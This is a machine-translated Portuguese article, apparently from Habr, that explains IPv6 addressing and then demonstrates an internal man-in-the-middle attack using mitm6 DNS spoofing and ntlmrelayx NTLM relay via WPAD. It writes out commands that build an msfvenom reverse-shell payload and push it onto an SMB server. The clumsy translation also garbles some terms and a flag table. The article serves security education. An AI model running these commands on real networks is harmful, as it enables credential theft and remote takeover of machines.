Onde inserir aspas no IPv6

IPv6 é uma nova versão do protocolo da Internet. Os membros da IETF aceitaram apenas 22 anos atrás, em 1996. Durante esse período, ataques IPv6 específicos conseguiram aparecer. O objetivo deste artigo, com base em nossa apresentação no PHDays 8, é mostrar as possibilidades de um ataque às redes corporativas por um intruso interno usando IPv4 e IPv6.



Noções básicas de endereçamento IPv6


O comprimento do endereço IPv6 é de 128 bits, escritos em formato hexadecimal com a divisão do endereço inteiro em 8 grupos. Um exemplo de gravação de um endereço IPv6:

2001: 0a00: café: bebê: 0001: 0000: 0000: 0011/64

Há um registro de endereço simplificado quando vários grupos subseqüentes de zeros podem ser substituídos por "::", mas apenas uma vez. Zeros gravados à esquerda em cada grupo podem ser descartados. Portanto, o endereço acima pode ser escrito como:

2001: a00: cafe: babe: 1 :: 11/64

O tamanho padrão da parte do host emitida pelo provedor para o cliente é de 64 bits, dos quais 4 são usados ​​para segmentar a rede em sub-redes.



Existem vários tipos de endereços no IPv6:


O unicast global é um análogo de endereços públicos no IPv4. Esses endereços são emitidos pela IANA e são únicos em toda a Internet. Esses endereços estão no intervalo 2000 :: / 3 (2000 - 3FFF).

Endereços locais (link local) - os endereços no intervalo FE80 :: / 10 (FE80 - FEBF) são gerados automaticamente pelos dispositivos e usados ​​para interagir com outros dispositivos na mesma rede local. O tráfego que contém esse endereço como remetente ou destinatário não deve ser roteado. Portanto, um dispositivo compatível com IPv6 e conectado à rede pode trocar informações imediatamente dentro de sua sub-rede sem nenhuma configuração.

Endereço de loopback :: 1 . Este endereço é semelhante ao 127.0.0.1 no IPv4. Pacotes enviados a ele não saem do dispositivo.

Endereço não especificado - o endereço "::", composto apenas por zeros. É usado em alguns casos como remetente até o endereço ser recebido.

Endereços locais exclusivos (local exclusivo) - um análogo de endereços privados no IPv4, pode ser roteado na rede interna da organização, sem a possibilidade de roteamento para a Internet. O espaço de endereço IPv6 é tão grande que mais de um trilhão de endereços pode ser emitido para todas as pessoas no planeta e elas não terminam. Portanto, o IPv6 implica o abandono de endereços privados no sentido em que foram usados ​​no IPv4 devido à falta de endereços públicos.

Endereços IPv4 mapeados para IPv6 (IPv4 incorporado) - Endereços IPv6 iniciados por :: ffff: os últimos 32 bits contêm um endereço IPv4 (:: ffff: xxxx: xxxx, em que xxxx: xxxx é o endereço IPv4 convertido em hexadecimal). Esses endereços são usados ​​para dispositivos que não suportam IPv6 e fornecem uma maneira de mapear um espaço de endereço IPv4 para um espaço de endereço IPv6.

Endereços multicast (Multicast) - uma das principais alterações no IPv6 em comparação ao IPv4. O novo protocolo recusou pacotes de difusão, em vez dos endereços multicast de endereços de difusão. Todos esses endereços estão no intervalo FF00 :: / 8



Atribuição de Endereço IPv6


O IPv6 usa o ND (ICMPv6 Neighbor Discovery Protocol) para obter informações de endereço. Conforme mostrado na figura abaixo, quando um novo dispositivo aparece na rede IPv6, o dispositivo envia uma solicitação para obter um endereço IPv6 (Solicitação de roteador) para “ff02 :: 2” (todos os roteadores de rede). O roteador responde com uma mensagem (Anúncio do roteador) contendo informações sobre como obter o endereço IPv6. Dependendo dos sinalizadores definidos na mensagem, há três maneiras:
A maneira de obter o endereçoUm sinalizador (automático)Sinalizador O (Outro)Sinalizador M (gerenciado)
SLAAC (padrão)10 00 0
SLAAC + DHCPv6110 0
DHCPv60 0-1

SLAAC (Configuração automática de endereço sem estado) - Nesse caso, tudo o que é necessário para gerar um endereço IPv6 global está na mensagem RA.

SLAAC + DHCPv6 - Assim como no caso do SLAAC, o endereço é gerado com base nas informações do pacote RA, mas o sinalizador O é definido adicionalmente, o que significa Outra configuração, e o dispositivo deve entrar em contato com o servidor DHCPv6 para obter configurações adicionais, por exemplo, o servidor DNS.

DHCPv6 é um análogo do endereço DHCPv4 e todas as outras informações são emitidas pelo servidor DHCP, com exceção do gateway padrão, que é obtido do endereço do remetente do pacote RA.

Quando os sinalizadores O e M são definidos ao mesmo tempo, o sinalizador O é ignorado.


Como exemplo, pegue o utilitário fake_router26 do pacote de utilitários thc-ipv6 . A imagem mostra que, após a inicialização, foi adicionado o endereço IPv6 do gateway padrão, que se tornou prioridade sobre o IPv4.



Ataque!


Nesse cenário, consideraremos a possibilidade de um ataque man-in-the-middle usando o mecanismo para obter as configurações de rede IPv6.

Para demonstração, precisamos de 4 carros:

A máquina atacante é o Kali Linux.



A máquina servidor na qual as esferas administrativas do Windows 7 serão ativadas.



Uma máquina cliente que terá acesso a um servidor Windows 7.



Um roteador com DHCPv4 ativado.

dirkjanm descreveu a metodologia para este cenário. Ele escreveu o utilitário mitm6, que, usando o protocolo ND, envia mensagens de propaganda do roteador com os sinalizadores "O" e "M" definidos como "1". Portanto, os clientes sabem que é necessário solicitar informações de endereço de um servidor DHCPv6. Os clientes começam a enviar mensagens SOLICIT do DHCPv6 para descobrir o servidor DHCP. O utilitário responde a solicitações com mensagens DHCPv6 ADVERTISE; a resposta contém o endereço da máquina atacante como um servidor DNS.

Solicitação de informações de endereço enviadas ao endereço multicast de todos os servidores DHCP ff02 :: 1: 2

Depois disso, devido aos recursos arquiteturais do sistema operacional, o DNS DHCPv6 se torna uma prioridade. Agora, o invasor pode responder a qualquer consulta DNS com o endereço certo. Assim, a solicitação enviada pelo nome de domínio será enviada a critério do invasor.

Ao executar mitm6, você pode especificar o domínio pelo qual substituir os endereços DNS.





Bolas de administração


Para aprimorar o efeito dramático, suponha que exista outra máquina na rede na qual o usuário da primeira máquina possa se conectar a esferas administrativas. Por padrão, eles estão desativados, mas na Internet muitas pessoas estão interessadas em como ativá-las e ficam muito felizes quando conseguem.





O WPAD (Descoberta Automática de Proxy da Web) é um protocolo para determinar o local do arquivo no qual as configurações de proxy padrão estão localizadas.

Após a atualização do MS16-077, o wpad não é mais fornecido pelo NETBIOS e não é autenticado automaticamente no servidor proxy.

Para ignorar essas restrições, você pode usar o ntlmrelayx.py, que faz parte do impacket . É necessária uma versão superior a 0.9.16, que inclui suporte a IPv6 e a capacidade de instalar um servidor que processa o wpad válido. O lançamento é feito pela equipe

ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe 

onde 1.exe é a carga útil do shell reverso gerada pelo metasplit.

 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe 

o parâmetro -wh indica o host em que o arquivo wpad está localizado (o utilitário mitm6 responderá com o endereço do invasor a esta solicitação)





Após a conexão, será solicitada a autenticação HTTP 407 (Proxy Authentication Required), na qual o navegador é autenticado automaticamente.





Os dados recebidos serão usados ​​para conectar-se ao SMB do servidor atacado, transmitidos pelo parâmetro -t.





Agradeço ao meu co-autor Sergey Ovchinnikov malchikserega pela ajuda na preparação da apresentação e do artigo.

Source: https://habr.com/ru/post/pt417285/


All Articles